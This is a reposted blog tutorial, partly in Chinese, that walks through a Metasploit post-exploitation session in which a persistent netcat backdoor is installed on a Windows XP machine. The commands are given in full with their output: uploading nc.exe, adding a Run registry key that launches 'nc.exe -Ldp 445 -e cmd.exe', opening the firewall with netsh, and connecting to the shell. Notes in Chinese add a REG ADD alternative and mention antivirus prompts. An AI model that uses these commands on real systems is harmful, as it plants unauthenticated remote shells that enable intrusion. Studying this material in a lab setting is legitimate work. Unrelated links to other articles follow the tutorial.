Persistent Netcat Backdoor
In this example, instead of looking up information on the remote system, we will be installing a netcat backdoor. This includes changes to the system registry and firewall.
First, we must upload a copy of netcat to the remote system.
meterpreter > upload /pentest/windows-binaries/tools/nc.exe C:\\windows\\system32
[*] uploading : /tmp/nc.exe -> C:\windows\system32
[*] uploaded : /tmp/nc.exe -> C:\windows\system32nc.exe
Afterwards, we work with the registry to have netcat execute on start up and listen on port 445. We do this by editing the key ‘HKLM\software\microsoft\windows\currentversion\run’.
meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
Enumerating: HKLM\software\microsoft\windows\currentversion\run Values (): VMware Tools
VMware User Process
quicktftpserver meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 445 -e cmd.exe'
Successful set nc.
meterpreter > reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc
Key: HKLM\software\microsoft\windows\currentversion\Run
Name: nc
Type: REG_SZ
Data: C:\windows\system32\nc.exe -Ldp -e cmd.exe
使用命令行自带的reg命令也行, 前提是系统杀毒软件不出提示:
REG ADD HKLM\software\microsoft\windows\currentversion\run /v nc /t REG_SZ /d "c:\xxx.exe"
Next, we need to alter the system to allow remote connections through the firewall to our netcat backdoor. We open up an interactive command prompt and use the ‘netsh’ command to make the changes as it is far less error prone than altering the registry directly. Plus, the process shown should work across more versions of Windows, as registry locations and functions are highly version and patch level dependent.
meterpreter > execute -f cmd -i
Process created.
Channel created.
Microsoft Windows XP [Version 5.1.]
(C) Copyright - Microsoft Corp. C:\Documents and Settings\Jim\My Documents > netsh firewall show opmode
Netsh firewall show opmode Domain profile configuration:
-------------------------------------------------------------------
Operational mode = Enable
Exception mode = Enable Standard profile configuration (current):
-------------------------------------------------------------------
Operational mode = Enable
Exception mode = Enable Local Area Connection firewall configuration:
-------------------------------------------------------------------
Operational mode = Enable
We open up port 445 in the firewall and double-check that it was set properly.
C:\Documents and Settings\Jim\My Documents > netsh firewall add portopening TCP "Service Firewall" ENABLE ALL
netsh firewall add portopening TCP "Service Firewall" ENABLE ALL
Ok. C:\Documents and Settings\Jim\My Documents > netsh firewall show portopening
netsh firewall show portopening Port configuration for Domain profile:
Port Protocol Mode Name
-------------------------------------------------------------------
TCP Enable NetBIOS Session Service
TCP Enable SMB over TCP
UDP Enable NetBIOS Name Service
UDP Enable NetBIOS Datagram Service Port configuration for Standard profile:
Port Protocol Mode Name
-------------------------------------------------------------------
TCP Enable Service Firewall
TCP Enable NetBIOS Session Service
TCP Enable SMB over TCP
UDP Enable NetBIOS Name Service
UDP Enable NetBIOS Datagram Service C:\Documents and Settings\Jim\My Documents >
So with that being completed, we will reboot the remote system and test out the netcat shell.
root@kali:~# nc -v 172.16.104.128
172.16.104.128: inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN) [172.16.104.128] (?) open
Microsoft Windows XP [Version 5.1.]
(C) Copyright - Microsoft Corp. C:\Documents and Settings\Jim > dir
dir
Volume in drive C has no label.
Volume Serial Number is E423-E726 Directory of C:\Documents and Settings\Jim // : AM
.
// : AM
..
// : AM ;i
// : PM
Desktop
// : PM
Favorites
// : PM
My Documents
// : AM QCY
// : AM
Start Menu
// : AM talltelnet.log
// : AM talltftp.log
File(s) bytes
Dir(s) ,,, bytes free C:\Documents and Settings\Jim >
Wonderful! In a real world situation, we would not be using such a simple backdoor as this, with no authentication or encryption, however the principles of this process remain the same for other changes to the system, and other sorts of programs one might want to execute on start up.
.使用sc创建自定义服务,留下后门, 但是有个问题是360还是会提示, 防止注册表被写入
作者: NONO
出处:http://www.cnblogs.com/diligenceday/
企业网站:http://www.idrwl.com/
开源博客:http://sqqihao.github.io/
QQ:287101329
微信:18101055830
Persistent Netcat Backdoor的更多相关文章
- Microsoft Windows .Reg File Dialog Box Message Spoofing 0day
Microsoft Windows .Reg文件对话框消息欺骗 0day 概述 扩展名为.reg的文件是Windows注册表中使用的注册文件.这些文件可以包含hives.密钥和值..reg文件可以在文 ...
- Persistent Data Structures
原文链接:http://www.codeproject.com/Articles/9680/Persistent-Data-Structures Introduction When you hear ...
- CodeForces #368 div2 D Persistent Bookcase DFS
题目链接:D Persistent Bookcase 题意:有一个n*m的书架,开始是空的,现在有k种操作: 1 x y 这个位置如果没书,放书. 2 x y 这个位置如果有书,拿走. 3 x 反转这 ...
- coreData部分报错:This NSPersistentStoreCoordinator has no persistent stores.
最近在修改一个程序BUG的时候遇到一个问题coreData部分报错:This NSPersistentStoreCoordinator has no persistent stores. 但实际跑程序 ...
- Exception loading sessions from persistent storage
严重: Exception loading sessions from persistent storage java.io.EOFException 删除Tomcat里面的work/Catalina ...
- 【Codeforces-707D】Persistent Bookcase DFS + 线段树
D. Persistent Bookcase Recently in school Alina has learned what are the persistent data structures: ...
- netcat命令
1 简介 netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据.通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它.使用netcat命令所能完成的事情令人惊讶. netc ...
- nc 局域网聊天+文件传输(netcat)
nc 局域网聊天+文件传输 nc的全程是netcat,这个工具非常好用. 有时候我们需要在局域网内传送一些文本消息或者文件的时候,通常的做法是安装一些局域网通讯软件,然后来做.其实不必要这样,使用nc ...
- POJ - 3652 Persistent Bits
“模拟”类型,题型容易,使用bitset库对二进制逐位操作,初始化.十进制转二进制(unsigned int).位操作. POJ - 3652 Persistent Bits Time Limit: ...
随机推荐
- AngularJS的Hello World
本篇体验AngularJS的Hello World,虽然简单,但体现了AnuglarJS的一些重要概念. 大致思路是这样的: ● 通常通过为hmtl元素添加AngularJS独有的属性来实现一些功能, ...
- IEnumerable和IQueryable的区别以及背后的ExpressionTree表达式树
关于IEnumerable和IQueryable的区别,这事还要从泛型委托Func<T>说起.来看一个简单的泛型委托例子: class Program { static void Main ...
- delphi实现数字签名
上周,另一部门需要支援解决数字签名问题.但因为之前也没做过,现学现卖.此方面可参考的中文资料较少,特作分享,方便查阅. 上周,另一部门需要支援解决数字签名问题.但因为之前也没做过,现学现卖.此方面可参 ...
- 线程中sleep方法和wait方法有什么区别?(转)
本文转自https://www.cnblogs.com/linkstar/p/6043846.html 线程中sleep方法和wait方法有什么区别? 如果你没有接触过java的多线程,那么多对于 ...
- having只用来在group by之后,having不可单独用,必须和group by用。having只能对group by的结果进行操作
having只能对group by的结果进行操作 having只能对group by的结果进行操作 having只能对group by的结果进行操作 having只用来在group by之后,havi ...
- C#编程(四十四)----------string和stringbuilder
System.String类 首先string类是静态的,System.String是最常用的字符串操作类,可以帮助开发者完成绝大部分的字符串操作功能,使用方便. 1.比较字符串 比较字符串是指按照字 ...
- SharePoint 2013 安装.NET Framework 3.5 报错
环境描述 操作系统:Windows Server 2012 R2 Datacenter版本 安装报错 中途接手安装SharePoint Server 2013 with sp1,配置向导报错如下: A ...
- Mac 安装zsh
1.安装zsh mac下自带zsh,但不是最新.查看zsh版本:zsh --version如果没有安装, 可以通过brew安装最新版,brew install zsh 2.安装oh-my-zsh cd ...
- spring post 图片
@RequestMapping(value = "/post",method = RequestMethod.POST) @ResponseBody String GPost(@R ...
- md5目录下的文件包括子目录
find ./ -type f -print0 | xargs -0 md5sum